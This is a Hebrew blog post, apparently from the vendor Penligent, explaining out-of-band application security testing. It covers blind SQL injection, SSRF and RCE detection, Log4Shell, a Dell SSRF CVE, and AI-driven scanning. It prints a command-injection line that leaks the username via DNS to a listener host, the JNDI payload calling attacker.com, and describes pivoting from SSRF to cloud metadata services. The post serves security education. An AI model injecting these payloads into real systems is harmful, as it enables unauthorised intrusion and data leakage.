כותרת Penligent

משמעות ומכניקה של OAST: החוליה החסרה בזיהוי פגיעות עיוורות

במשך שנים, תעשיית אבטחת היישומים הסתמכה במידה רבה על מודל ה"השתקפות". אתה שולח מטען (קלט); השרת שולח תגובה (פלט). אם התגובה מכילה שגיאת תחביר או מחרוזת ספציפית, יש לך פגיעות. זהו עמוד השדרה של DAST (בדיקת אבטחת יישומים דינמית).

אבל מה קורה כאשר היישום בולע את השגיאה? מה אם ההזרקה עובדת, אך תגובת מסד הנתונים לעולם לא נשלחת בחזרה ללקוח עקב סינון יציאה קפדני או עיבוד אסינכרוני?

זה המקום שבו OAST (בדיקת אבטחת יישומים מחוץ לתחום) הופך להיות קריטי. כדי להבין את משמעות OAST, יש לצאת מגבולות מחזורי הבקשה/תגובה הסטנדרטיים ולהתבונן באינטראקציות הבלתי נראות של היישום עם הרשת החיצונית.

משמעות ומכניקה של OAST

הליבה הטכנית: מהו OAST?

OAST מאפשר לבודקי אבטחה לאתר נקודות תורפה על ידי גרימת היישום היעד להתחבר לשרת הנשלט על ידי התוקף (או הבודק), במקום להסתמך על תגובה ישירה.

בתרחיש DAST סטנדרטי, לולאת המשוב היא סינכרונית ובתוך-פס:

בודק יישום יעד

בתרחיש OAST, מעגל המשוב הוא אסינכרוני ומחוץ לתחום:

  1. בודק שולח מטען ל יישום יעד.
  2. יישום יעד מעבד את הנתונים ומבצע, מבלי לדעת, בקשת DNS או HTTP לכתובת מאזין OAST חיצוני.
  3. מאזין OAST חיצוני לוכד את האינטראקציה ומתריע את בודק.

מנגנון זה הוא הדרך האמינה היחידה לאיתור עיוור פגיעויות — כגון הזרקת SQL עיוורת, SSRF עיוורת (זיוף בקשות בצד השרת) ו-RCE עיוורת (ביצוע קוד מרחוק) — עם כמעט אפס תוצאות חיוביות כוזבות.

משמעות ומכניקה של OAST: החוליה החסרה בזיהוי פגיעות עיוורות

אנטומיה של מטען OAST

כדי להמחיש את המכניקה, דמיינו תרחיש של ביצוע קוד מרחוק עיוור (RCE). השרת מבצע את הפקודה אך מחזיר תגובה כללית. 200 OK הודעה ללא קשר להצלחה. סורק DAST יסמן זאת כ"בטוח".

גישת OAST מזריקה מטען שמאלץ חיפוש DNS:

באש

`# מטען קונספטואלי לבדיקת RCE עיוורת

המשתנה ${host} מוחלף על ידי תחום המאזין הייחודי של OAST.

user_input="; ping -c 1 $(whoami).x72b.oast-listener.com ;"`

אם השרת פגיע, הוא מבצע פינג. מערכת ההפעלה מנסה לפתור root.x72b.oast-listener.com. מקשיב ה-OAST שלך רושם את שאילתת ה-DNS. העובדה ששאלת ה-DNS הגיעה הוא ההוכחה לניצול.

ניתוח השוואתי: SAST לעומת DAST לעומת IAST לעומת OAST

עבור מהנדסים קשוחים, ההבדל טמון ב נקודת תצפית וה יחס אות לרעש.

תכונהSAST (סטטי)DAST (דינמי)IAST (אינטראקטיבי)OAST (מחוץ לתחום)
נקודת תצפיתקוד מקור / קוד בייטאפליקציית ריצה (חיצונית)אפליקציית ריצה (סוכן פנימי)אפליקציית ריצה (חיצונית + מאזין)
זיהוי עיוורמוגבל (ניתוח זרימת נתונים)גרוע (תלוי בתזמון/בטעויות)גבוה (רואה את זרימת הביצוע)עליון (אינטראקציה בפועל)
תוצאות חיוביות כוזבותגבוהבינונינמוךקרוב לאפס
פריסהצינור CI/CDבימוי/הפקהנדרשת התקנת סוכןבימוי/הפקה (לא פולשני)
שימוש עיקריאיכות קוד ולוגיקהנסיגות נראות לעיןאינטגרציית DevOpsניצול מורכב/עיוור

מקרי בוחן: OAST בפעולה

המשמעות התיאורטית של "OAST" מתבהרת כאשר בוחנים CVE בעלי השפעה רבה.

הקלאסיקה: Log4Shell (CVE-2021-44228)

Log4Shell היה נקודת המפנה עבור OAST. הפגיעות התבססה על הזרקת JNDI (Java Naming and Directory Interface).

  • המטען: ${jndi:ldap://attacker.com/exploit}
  • מנגנון OAST: ספריית Log4j הפגיעה ניתחה את המחרוזת ויזמה חיבור LDAP יוצא ל- attacker.com.
  • איתור: סורקים מסורתיים שלא הצליחו לנתח את היומנים החמיצו את זה. סורקי OAST פשוט חיכו לשיחת החזרה. אם הטלפון צלצל, השרת היה פגיע.

המודרני: Dell UCC Edge Blind SSRF (CVE-2025-22399)

עם כניסתנו לשנת 2025, OAST נותר חיוני לתשתית מודרנית. דוגמה עדכנית לכך היא CVE-2025-22399 (CVSS 7.9), Blind SSRF ב-UCC Edge של Dell.

  • הוקטור: תוקף לא מאומת יכול להזריק כתובת URL זדונית לפונקציית "הוסף שרת SFTP של לקוח".
  • הנקודה העיוורת: האפליקציה לא החזירה את תוכן ה-URL שהורד (מה שהיה נחשב ל-SSRF קלאסי). במקום זאת, היא פשוט עיבדה את הבקשה באופן פנימי.
  • פתרון OAST: על ידי הפניית כתובת שרת SFTP למאזין OAST (לדוגמה, sftp://oast-domain.com), בודק מאשר את הפגיעות על ידי תצפית בניסיונות החיבור הנכנסים משרת Dell.

ההתפתחות: ממאזינים ידניים לסוכני בינה מלאכותית

מבחינה היסטורית, OAST היה תהליך ידני או חצי-אוטומטי. בודקי חדירות משתמשים בכלים כמו שיתוף פעולה עם Burp או ProjectDiscovery's Interactsh. אתה מייצר מטען, מרסס אותו ומחכה ל"פינג" במאזין שלך.

עם זאת, שטח התקיפה המודרני הוא רחב מדי מכדי לאפשר קורלציה ידנית. זה המקום שבו אבטחה מבוססת בינה מלאכותית משנה את הפרדיגמה.

משמעות OAST

המגבלות של הסורקים המסורתיים

סורקים סטנדרטיים מתייחסים ל-OAST כאל בדיקה בינארית: "האם קיבלנו החזרה מ-DNS? כן/לא." לעתים קרובות הם מתקשים עם:

  1. שרשור קונטקסטואלי: שימוש באישור OAST כדי לעבור לשלב השני של הניצול.
  2. מטענים פולימורפיים: התאמה דינמית של מטען ה-OAST כדי לעקוף WAFs (לדוגמה, קידוד בקשת ה-DNS בתוך מבנה JSON מקונן).

היכנסו ל-OAST המונע על ידי בינה מלאכותית Penligent.ai

זה המקום שבו פלטפורמות כמו Penligent.ai לגשר על הפער. במקום רק להפעיל סקריפט, Penligent משתמשת בסוכני AI שמבינים את משמעות סמנטית של אינטראקציה OAST.

אם הסוכן של Penligent מזהה קריאת DNS חוזרת מפרמטר ספציפי, הוא לא רק מדווח על כך. הוא מנתח את ההקשר: "קיבלתי החזרה DNS משדה ההעלאה 'profile-image'. זה מצביע על Blind SSRF. כעת אנסה להשתמש בערוץ זה כדי למפות שירותי מטא-נתונים פנימיים בענן (IMDS)".

על ידי אוטומציה של הלוגיקה בה משתמש בודק חדירות בכיר אנושי — יצירת קורלציה בין האות מחוץ לתחום לבין הלוגיקה הפנימית — סוכני AI הופכים את OAST מטכניקת "האזנה" פסיבית לווקטור ניצול פעיל וחכם.

סיכום

הבנה משמעות OAST הוא הבנה אפקטיבית של השיחות הבלתי נראות באינטרנט. ככל שהיישומים הופכים להיות מנותקים יותר ויותר ומסתמכים במידה רבה על ממשקי API, מיקרו-שירותים ושילובים של צד שלישי, ערכו של מודל "ההשתקפות" בבדיקות אבטחה הולך ופוחת.

עבור מהנדס האבטחה, שליטה בכלים ובמתודולוגיות OAST אינה עוד אופציה – זוהי הדרך היחידה להוכיח את קיומם של פגיעויות המסתתרות בשקט ביומנים, ומחכות לטריגר.

הפניות:

שתף את הפוסט:
פוסטים קשורים
he_ILHebrew